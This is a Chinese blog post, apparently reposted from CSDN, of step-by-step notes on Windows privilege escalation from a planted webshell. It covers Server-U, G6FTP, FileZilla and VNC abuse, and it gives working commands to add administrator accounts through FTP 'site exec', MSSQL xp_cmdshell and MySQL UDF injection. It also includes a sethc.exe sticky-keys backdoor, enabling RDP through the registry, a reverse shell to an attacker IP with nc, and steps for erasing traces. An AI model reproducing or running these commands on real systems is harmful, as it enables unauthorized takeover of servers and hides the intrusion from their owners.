Windows 提权笔记

第三方软件提权

Server-U 提权

默认侦听端口:43958

Server-U 提权有两种情况:

  • 有修改权限
  • 无修改权限

有的大马有 Server-U 提权功能,可以辅助我们进行提权,也可以在其中查看我们是否有修改权限。

1. 有修改权限

① 若有修改权限,可以修改 Server-U 默认安装目录下的 ServUDaemon.ini 用户配置文件文件。在其中添加用户。

② 模仿 ServUDaemon.ini 中的 user 用户的写法,手动添加一个 FTP 用户。如:

USER2=yt|1|0							//添加了一个用户
……
[USER=yt|1]
Password=zp1234567895451315				//注意,这里的 zp 是指加盐了
HomeDir=C:\ftp							//按照复制的其他用户的写法,不用改变
PasswordLastChange=1460					//按照复制的其他用户的写法,不用改变
TimeOut=600								//按照复制的其他用户的写法,不用改变
Maintenance=System						//按照复制的其他用户的写法,不用改变
Access1=C:\ftp|RWAMELCDP				//按照复制的其他用户的写法,不用改变

③ 通过上面建立好的用户名和密码去连接 Server-U FTP 服务器。

④ 连接成功后,在 FTP 命令行中执行命令:quote site exec 要执行的命令
如:

quote site exec net user yt 123 /add		
quote site exec net localgroup administrators yt /add

⑤ 执行以上两条命令后,就是在 Web 网站服务器中建立了用户名为 yt、密码为 123 的用户,并且将其加入了管理员组中。之后就可以通过远程桌面连接来登录服务器了。提权成功。

2. 无修改权限

① 可以通过已经上传的大马,查看在 ServUDaemon.ini 中已经存在的 ftp 用户密码。

② 由于 ServUDaemon.ini 中保存的密码是用MD5进行加密的,故需要通过破解得到明文密码。

③ 得到账号和密码后就可以尝试登陆 Server-U FTP 服务器。

④ 登陆成功后,可以在 ftp 中输入命令来创建用户:

quote site exec net user yt 123 /add
quote site exec net localgroup administrators yt /add

⑤ 执行以上两条命令后,就是在 Web 网站服务器中建立了用户名为 yt、密码为 123 的用户,并且将其加入了管理员组中。之后就可以通过远程桌面连接来登录服务器了。提权成功。

3. 通过某些大马中的 Server-U 一键提权工具

如果 Server-U 默认的管理员账号和密码没有修改,那么可以直接使用大马的一键提权工具进行执行命令。

如果管理员账号和密码被修改过了,也可以在 Server-U 的管理员配置文件中找到。
① 下载 Server-U 安装根目录下的 ServUAdmin.exe

② 使用代码审计工具 C32Asm。打开 C32 后,使用十六进制编码模式

③ 右击查找,使用 Ascii 字符串类型。输入管理员用户名,然后单击查找,在用户名后面的就是密码。


G6 ftp 提权

侦听端口:8021

通过上传的大马帮助我们进行提权。

① 找到 G6ftp 的管理配置文件,一般是在 G6ftp 根目录下的 RemoteAdmin\Remote.ini 。 将其下载下来,然后将其中的 administrator 管理密码进行破解。

② 通过大马上传端口转发工具文件 lcx.exe。因为默认情况下,G6ftp 只允许本机(即 127.0.0.1) 去连接,故需要使用端口转发使其转发到本机所有地址的其他端口上。

③输入命令:lcx.exe -tran 8027 127.0.0.1 8021
此命令时将 8021 端口转发为本机任何一个地址的 8027 端口,这样就可以使用 Web 网站地址的 8027 端口去访问 G6ftp 服务器。

④ 使用客户端以之前破解得到的管理员账号密码登录 G6ftp 服务器。

⑤ 在客户端上登录 G6ftp 服务器后,就可以创建 G6ftp 用户,并设置相关权限。

⑥ 以创建的普通用户登录 ftp 服务器,并在 ftp 服务器中执行命令:

quote site exec net user yt 123 /add		
quote site exec net localgroup administrators yt /add

FileZilla ftp 提权

侦听端口:只侦听 127.0.0.1:14147 端口。

① 下载 FileZilla 根目录下的 filezillaserver.xml (包含用户信息) 和 filezillaserver interface.xml(包含管理信息) 两个文件,通过查看两个文件的内容,破解拿到管理密码。

② 通过大马上传端口转发工具 lcx.exe,配置端口转发。将 FileZilla 只侦听的 127.0.0.1:14147 端口的数据转发为服务器本机的所有地址的其他端口,如:
lcx.exe -tran 14148 127.0.0.1 14147

③ 在攻击者的主机上也创建一个 FileZilla FTP 服务器,去连接刚刚进行端口转发后的 Web 服务器地址 (如:200.1.1.1 或 www.xxx.com,不只是原来的 127.0.0.1了) 和 端口,输入账号和密码后登陆远程的 FTP 服务器。

④ 在本机的 FTP 服务器登陆成功后,新建一个用户,并为其分配权限,设置家目录为 C:\

⑤ 在本机再下载一个 FileZilla 客户端,去连接远程的 FTP 服务器,使用之前之前创建的用户的账号密码进行连接。

⑥ 登陆 FileZilla 客户端成功后,因为刚刚设置的家目录是 C:\,所以我们可以进入 C:/windows/system32 目录下。将准备好的 cmd.exe 改名为 sethc.exe 复制进去,替换原本的 sethc.exe。

⑦ 因为使用 cmd.exe 更名后的 sethc.exe 替换了原本的 sethc.exe,所以当我们使用远程桌面去连接远程 Web 服务器时可以不输入账号和密码,直接连按 5 下 shift 键,就会弹出 cmd.exe 命令行,提权成功。

注:sethc.exe 是Windows的粘滞键。按5下shift后,windows就执行了system32下的sethc.exe,这里用 cmd.exe 改名成 sethc.exe 进行替换,按 5下 shift 后就是 cmd了。


VNC 远程管理软件提权

侦听端口:5900

① 使用大马去读取 VNC 注册表中的 VNC 的密码。读取出来的是几个十进制数

② 将得到的几个十进制数转换成十六进制数

③ 使用工具 vncx4.exe。使用命令行,进入到 vncx4.exe 的目录下,输入vncx4.exe -W,然后按回车,然后输入转换后的几个十六进制数,每输入一个按一次回车。当输入完成后,工具会自动破解出 VNC 密码。

④ 使用 VNC 客户端输入 远程服务器的 IP 地址和 密码去连接 VNC,提权成功。



溢出提权

溢出提权主要是通过 Windows 系统的漏洞利用来获取系统的权限。

可以先通过信息收集查看服务器打了哪些补丁,然后根据打补丁的情况判断可以使用什么漏洞利用程序进行利用提权。

一般都有直接的 exe 漏洞利用文件,利用大马将其上传。然后使用大马的 CMD 命令行执行漏洞利用程序,就可以提权。



SQLserver 数据库提权

数据库提权需要具备数据库管理员权限才可执行提权操作

① SA 账号获取:去查看 config.asp、conn.asp、Web.config 等配置文件去查看链接数据库的信息。

注:SQLserver 数据库默认 SA 账号是允许外连的。

② 得到 SA 账号后,可以使用工具输入 IP地址、端口、账号、密码 等连接数据库。常用的工具有:sqltools、MSSQL 查询分析器、也可以利用 大马 中的 SQL 执行功能进行执行 SQL 命令。

③ 执行添加组件命令:

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

④ 可以使用添加的 xp_cmdshell 组件去执行系统命令:

EXEC master..xp_cmdshell 'net user yt 123456 /add'
EXEC master..xp_cmdshell 'net localgroup administrators yt /add'

⑤ 开启 3389 端口:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', 'REG_DWORD', 0; --

⑥ 然后就可以通过创建的管理员账号以及打开的 3389 端口进行远程桌面登录,提权成功。

⑦ 之后为了掩盖踪迹可以关闭 3389 端口,以及删除添加的组件:

关闭 3389:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections', 'REG_DWORD', 1; --

删除组件:

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO

MySQL 数据库提权

MySQL 数据库提权同样需要 root 权限,有几种得到 root 账号密码的方法:

  • 查看网站源码里的数据库配置文件,如:inc、conn、config.sql、common、data 等文件
  • 查看数据库安装路径下的 user.myd 文件(通常在在 mysql 安装根目录下的 data/mysql 目录里)
  • 暴力破解 mysql 密码

1. UDF 提权

根据 mysql 版本的不同,要将 udf.dll 文件导入到不同的目录下。

  • mysql 5.1 以下的版本要将 udf.dll 导到 C:/Windows/udf.dll 下
  • mysql 5.1 以上的版本要将 udf.dll 导到 mysql 安装目录下的 lib/plugin/udf.dll 下。有可能该目录并没有创建,需要手工根据命令或者通过工具来创建 lib 和 plugin 目录

在提权前可以使用一下命令来搜集相关信息:

select @@datadir 	//查询路径
select @@version 	//查询版本
手工 UDF 提权

① 若 lib 和 plugin 目录不存在,需要先创建目录。使用NTFS ADS流创建lib、plugin文件夹。
创建 lib 文件夹:
select 'xxx' into dumpfile 'C:\\mysql\\mysql-5.1.40-win32\\lib::$INDEX_ALLOCATION'

创建 plugin 文件夹:
select 'xxx' into dumpfile 'C:\\mysql\\mysql-5.1.40-win32\\lib\\plugin::$INDEX_ALLOCATION'

② 手工导入 udf.dll 文件

  1. 先创建一个临时表:
    CREATE TABLE temp_udf(udf BLOB);

  2. 将 udf.dll 二进制数据插入临时表 temp_udf 中。binaryCode 为 udf.txt 的二进制数据:
    INSERT INTO temp_udf VALUES(CONVERT(binaryCode), CHAR)

  3. 将临时表 temp_udf 中的 udf 数据根据版本的不同导到相应的目录下:
    SELECT udf FROM temp_udf INTO DUMPFILE "C:/mysql/mysql-5.1.40-win32/lib/plugin/udf.dll"

  4. 删除临时表
    DROP TABLE temp_udf;

③ 创建 cmdshell 函数:
CREATE FUNCTION cmdshell returns string soname 'udf.dll'

④ 然后就可以利用 cmdshell 函数帮助我们执行系统命令了:

SELECT cmdshell('whoami')
SELECT cmdshell('net user yt 123 /add')
SELECT cmdshell('net localgroup administrators yt /add')

⑤ 最后删除函数抹除痕迹
DROP FUNCTION cmdshell;

使用提权大马进行 UDF 提权

① 先将 大马 上传到网站的服务器上,然后使用浏览器输入相应的路径进行访问,需要输入数据库账号密码。

② 使用大马自带的功能创建目录以及 udf.dll 文件。

③ 使用大马自带的功能创建函数。

④ 使用函数来运行系统命令。


2. 反链端口提权(也是基于 UDF 提权)

① 先利用 UDF 提权上传的 udf.dll 来创建一个反弹函数,一般提权大马都具有此功能来一键创建:
CREATE FUNTION backshell RETURNS STRING soname 'udf.dll'

② 在攻击者的主机上使用 nc.exe 进行侦听反弹函数返回的端口数据:
nc -l -p 12345

③ 执行反弹函数:
SELECT backshell('攻击者主机的 外网 IP 地址', '端口')
如:攻击者主机的 IP 地址为 200.1.1.1。那么就可以输入命令:
SELECT backshell('200.0.0.1', '12345')

注意:反弹的攻击者主机的IP 地址,一定是公网的 IP 地址,否则无法连接。若攻击者的主机是在内网当中,那么需要在攻击者内网与外网处的路由器上进行端口转发

④ 当执行反弹函数后,在攻击者的 nc 界面上就会变成服务器的 CMD界面,就可以执行系统命令了。

猜你喜欢

转载自blog.csdn.net/weixin_43915762/article/details/88831293